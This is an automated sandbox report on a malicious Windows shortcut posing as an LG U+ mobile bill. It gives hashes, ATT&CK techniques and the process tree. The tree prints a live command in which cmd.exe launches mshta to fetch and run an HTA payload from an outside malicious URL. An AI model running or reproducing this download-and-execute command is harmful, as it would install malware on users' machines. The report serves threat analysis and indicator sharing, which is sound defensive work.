b16ebaec337178a9f4c661d84a9998e453f4b693eab3e3fbc9bb6b957661f3c6

Analysis

max time kernel
144s
max time network
148s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
21-03-2023 23:32

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General

Target

LG유플러스_이동통신_202208_이_선.html.lnk
Size

1KB
MD5

eb7a6e3dc8bbc26f208c511ec7ee1d4c
SHA1

b259d84f43f10a00edf1eca1c48610490e0aeb4c
SHA256

7c248e03cf87ea3d9a207b17925b7fd8998e9a0b462e601d178ff4c1cd9a1708
SHA512

b583bf4cd0b31b9961a268cacd1d05c104886487960c03924c3ba07c33aa56743ed9c3d30bc0191c501db5214360612ae0c8721690001fc8a459c06609dc7227

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://attiferstudio.com/install.bak/sony/3.html

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

4 1752 mshta.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\Main mshta.exe

flow	pid	process
4	1752	mshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 1584 wrote to memory of 364	1584	cmd.exe	cmd.exe
PID 1584 wrote to memory of 364	1584	cmd.exe	cmd.exe
PID 1584 wrote to memory of 364	1584	cmd.exe	cmd.exe
PID 364 wrote to memory of 1752	364	cmd.exe	mshta.exe
PID 364 wrote to memory of 1752	364	cmd.exe	mshta.exe
PID 364 wrote to memory of 1752	364	cmd.exe	mshta.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\LG유플러스_이동통신_202208_이_선.html.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1584

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start mshta http://attiferstudio.com/install.bak/sony/3.html
2⤵
- Suspicious use of WriteProcessMemory
PID:364

C:\Windows\system32\mshta.exe
mshta http://attiferstudio.com/install.bak/sony/3.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
PID:1752

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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